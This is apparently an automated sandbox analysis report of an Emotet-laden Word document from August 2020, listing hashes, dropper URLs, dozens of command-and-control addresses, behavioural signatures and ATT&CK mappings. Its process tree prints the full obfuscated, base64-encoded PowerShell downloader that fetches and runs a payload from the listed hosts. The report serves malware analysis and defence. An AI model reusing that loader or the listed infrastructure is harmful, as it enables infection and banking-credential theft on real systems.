emotet | 8a1e2fcf1a22d689478925e872a86a5f1e2d0b43a29608f3d3fca187236b8fc5

General

Target
emotet_e3_8a1e2fcf1a22d689478925e872a86a5f1e2d0b43a29608f3d3fca187236b8fc5_2020-08-18__101531._doc.doc
Size 171KB
Sample200818-143pgrcs4j
SHA256 8a1e2fcf1a22d689478925e872a86a5f1e2d0b43a29608f3d3fca187236b8fc5
MD5 45f383dee406899c7684bc20d9a152d9
SHA1 22e0010273f7527afa251e4c66a8e68db6db06b8
SHA512 2d4e66df672b971bd6b6e9b0aa661a4a458da147041184ec268a5d6c1692119d2f17848d6c145d2d817d1624aeb2a22a0d6ac8f15f0c97f9de5c6a25d44bdc73
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://hapaistanbul.com/tweHyPvH/
exe.dropper
http://hcsnet.com.br/QIn7l26597670/
exe.dropper
http://krabitourtransfer.com/WLdPbPn/
exe.dropper
http://kravmagaireland.com/cgi-bin/X5h427139317/
exe.dropper
http://labonni.com.br/pCG/

Extracted

Family

emotet

C2

186.109.104.67:80
185.86.148.68:443
139.99.157.213:8080
203.153.216.178:7080
192.163.221.191:8080
201.235.10.215:80
37.46.129.215:8080
78.189.60.109:443
77.74.78.80:443
143.95.101.72:8080
188.251.213.180:443
31.146.61.34:80
190.53.144.120:80
105.209.235.113:8080
115.78.11.155:80
172.96.190.154:8080
50.116.78.109:8080
188.0.135.237:80
179.62.238.49:80
197.83.232.19:80
92.24.51.238:80
115.165.3.213:80
177.144.130.105:443
139.59.12.63:8080
107.161.30.122:8080
182.176.95.147:80
181.134.9.162:80
179.5.118.12:80
198.57.203.63:8080
51.38.201.19:7080
187.64.128.197:80
176.9.93.82:7080
115.79.195.246:80
46.105.131.68:8080
91.83.93.103:443
87.106.231.60:8080
195.201.56.70:8080
185.142.236.163:443
181.114.114.203:80
192.241.220.183:8080
182.187.139.200:8080
217.199.160.224:8080
190.190.15.20:80
46.32.229.152:8080
202.5.47.71:80
71.57.180.213:80
178.33.167.120:8080
181.113.229.139:443
66.61.94.36:80
216.75.37.196:8080
86.57.216.23:80
74.208.173.91:8080
81.214.253.80:443
172.105.78.244:8080
157.7.164.178:8081
185.208.226.142:8080
177.94.227.143:80
105.213.67.88:80
97.104.107.190:80
5.79.70.250:8080
75.127.14.170:8080
81.17.93.134:80
41.185.29.128:8080
190.212.140.6:80
113.161.148.81:80
177.32.8.85:80
105.184.233.166:80
201.213.177.139:80
177.37.81.212:443
192.210.217.94:8080
190.164.75.175:80
41.84.237.198:443
212.112.113.235:80
203.153.216.182:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	744	712	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2340-12-0x00000000021D0000-0x00000000021DC000-memory.dmp	emotet
behavioral2/memory/2340-12-0x00000000021D0000-0x00000000021DC000-memory.dmp	emotet
behavioral2/memory/3700-15-0x0000000000710000-0x000000000071C000-memory.dmp	emotet
behavioral2/memory/3700-15-0x0000000000710000-0x000000000071C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
22	744	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2340	Q9b2d8pa2.exe
3700	Display.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\secur32\Display.exe	Q9b2d8pa2.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3840	WINWORD.EXE
3840	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
744	powersheLL.exe
744	powersheLL.exe
744	powersheLL.exe
3700	Display.exe
3700	Display.exe
3700	Display.exe
3700	Display.exe
3700	Display.exe
3700	Display.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	744	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3840	WINWORD.EXE
3840	WINWORD.EXE
3840	WINWORD.EXE
3840	WINWORD.EXE
3840	WINWORD.EXE
3840	WINWORD.EXE
3840	WINWORD.EXE
3840	WINWORD.EXE
3840	WINWORD.EXE
2340	Q9b2d8pa2.exe
2340	Q9b2d8pa2.exe
3700	Display.exe
3700	Display.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 744 wrote to memory of 2340	744	powersheLL.exe	77
PID 744 wrote to memory of 2340	744	powersheLL.exe	77
PID 744 wrote to memory of 2340	744	powersheLL.exe	77
PID 2340 wrote to memory of 3700	2340	Q9b2d8pa2.exe	78
PID 2340 wrote to memory of 3700	2340	Q9b2d8pa2.exe	78
PID 2340 wrote to memory of 3700	2340	Q9b2d8pa2.exe	78

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_8a1e2fcf1a22d689478925e872a86a5f1e2d0b43a29608f3d3fca187236b8fc5_2020-08-18__101531._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3840

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABVAGgAZAA2AGQAdwBxAD0AKAAnAFQAdgBvACcAKwAnAHQAdAAnACsAJwBnAGgAJwApADsAJgAoACcAbgBlAHcAJwArACcALQAnACsAJwBpAHQAZQBtACcAKQAgACQARQBuAFYAOgB0AEUAbQBwAFwATwBGAGYASQBDAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAHQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAHUAcgBJAGAAVABgAFkAcABgAFIATwBUAGAATwBjAE8ATAAiACAAPQAgACgAJwB0AGwAcwAxADIALAAgACcAKwAnAHQAbABzADEAMQAsACAAJwArACcAdAAnACsAJwBsACcAKwAnAHMAJwApADsAJABVAGgANQBoAGEAOQA4ACAAPQAgACgAJwBRADkAYgAyACcAKwAnAGQAOABwACcAKwAnAGEAMgAnACkAOwAkAFgAaABsAF8AYgBrAGoAPQAoACcAVABvACcAKwAnAGEANQBrADYAJwArACcANAAnACkAOwAkAEwAagA3AHAAaQBzADQAPQAkAGUAbgB2ADoAdABlAG0AcAArACgAKAAnAGwARABQACcAKwAnAE8AZgBmACcAKwAnAGkAYwBlADIAMAAxADkAbAAnACsAJwBEAFAAJwApAC4AIgBSAGUAYABwAGAATABhAEMARQAiACgAJwBsAEQAUAAnACwAJwBcACcAKQApACsAJABVAGgANQBoAGEAOQA4ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABSAHgAZQBrAHUAdwBhAD0AKAAnAFAAYwA4ACcAKwAnAGYAeQA3ADMAJwApADsAJABXAGwAbQBzAF8AMABtAD0ALgAoACcAbgBlACcAKwAnAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABOAGUAdAAuAHcAZQBCAGMATABJAEUATgBUADsAJABOAHUAYwB5AHAAZgBoAD0AKAAnAGgAdAB0AHAAOgAvACcAKwAnAC8AaABhACcAKwAnAHAAYQAnACsAJwBpACcAKwAnAHMAdABhAG4AYgB1AGwAJwArACcALgBjAG8AJwArACcAbQAvAHQAdwBlAEgAeQBQAHYASAAvACcAKwAnACoAaAB0ACcAKwAnAHQAJwArACcAcAA6AC8ALwBoAGMAcwBuAGUAdAAuAGMAbwBtACcAKwAnAC4AJwArACcAYgByAC8AUQAnACsAJwBJAG4AJwArACcANwBsACcAKwAnADIANgA1ADkANwAnACsAJwA2ADcAMAAvACoAaAB0AHQAcAA6AC8ALwBrACcAKwAnAHIAYQBiACcAKwAnAGkAJwArACcAdABvAHUAcgAnACsAJwB0AHIAYQBuAHMAJwArACcAZgBlACcAKwAnAHIAJwArACcALgBjAG8AbQAvAFcATABkAFAAJwArACcAYgAnACsAJwBQAG4AJwArACcALwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAnACsAJwAvAC8AawByAGEAdgBtAGEAJwArACcAZwBhAGkAcgBlAGwAJwArACcAYQAnACsAJwBuAGQAJwArACcALgBjAG8AJwArACcAbQAvAGMAZwBpAC0AYgBpACcAKwAnAG4AJwArACcALwBYADUAJwArACcAaAA0ADIANwAxADMAJwArACcAOQAnACsAJwAzADEAJwArACcANwAvACcAKwAnACoAaAAnACsAJwB0AHQAcAA6ACcAKwAnAC8ALwBsACcAKwAnAGEAYgAnACsAJwBvAG4AbgAnACsAJwBpAC4AJwArACcAYwAnACsAJwBvAG0ALgBiAHIALwBwAEMARwAnACsAJwAvACcAKQAuACIAcwBwAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABDAGUAMQBqAGoAMwB0AD0AKAAnAEcAZQAnACsAJwBxADQAMwA0ACcAKwAnAHgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQARgBnAGcAdQB3AGQAegAgAGkAbgAgACQATgB1AGMAeQBwAGYAaAApAHsAdAByAHkAewAkAFcAbABtAHMAXwAwAG0ALgAiAGQATwB3AGAATgBMAGAATwBBAEQAYABGAEkATABlACIAKAAkAEYAZwBnAHUAdwBkAHoALAAgACQATABqADcAcABpAHMANAApADsAJABZADQAagAzADgAcgBxAD0AKAAnAEUAJwArACcAagBvAF8AbgBlADIAJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAEwAagA3AHAAaQBzADQAKQAuACIATABlAG4AYABnAFQASAAiACAALQBnAGUAIAAzADcAMgAzADYAKQAgAHsALgAoACcASQBuAHYAJwArACcAbwBrAGUALQBJAHQAJwArACcAZQBtACcAKQAoACQATABqADcAcABpAHMANAApADsAJABYADEAZwBlAHUAYgA4AD0AKAAnAEEAYgBwAGYAJwArACcAaABsADQAJwApADsAYgByAGUAYQBrADsAJABTAGkANwB4AF8AZwB4AD0AKAAnAEwAYwBfAG4AdQAnACsAJwAyAGYAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABPAGcANgBjAHEAYwBvAD0AKAAnAEoAeQA4AHAAJwArACcAYgBlAF8AJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:744
- C:\Users\Admin\AppData\Local\Temp\Office2019\Q9b2d8pa2.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Q9b2d8pa2.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2340
- - C:\Windows\SysWOW64\secur32\Display.exe
    "C:\Windows\SysWOW64\secur32\Display.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3700

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/744-6-0x00007FFB38990000-0x00007FFB3937C000-memory.dmp

Download

memory/744-7-0x000001B36AEC0000-0x000001B36AEC1000-memory.dmp

Download

memory/744-8-0x000001B36AFF0000-0x000001B36AFF1000-memory.dmp

Download

memory/2340-12-0x00000000021D0000-0x00000000021DC000-memory.dmp

Download

memory/3700-15-0x0000000000710000-0x000000000071C000-memory.dmp

Download

memory/3840-0-0x00007FFB474A0000-0x00007FFB47B66000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads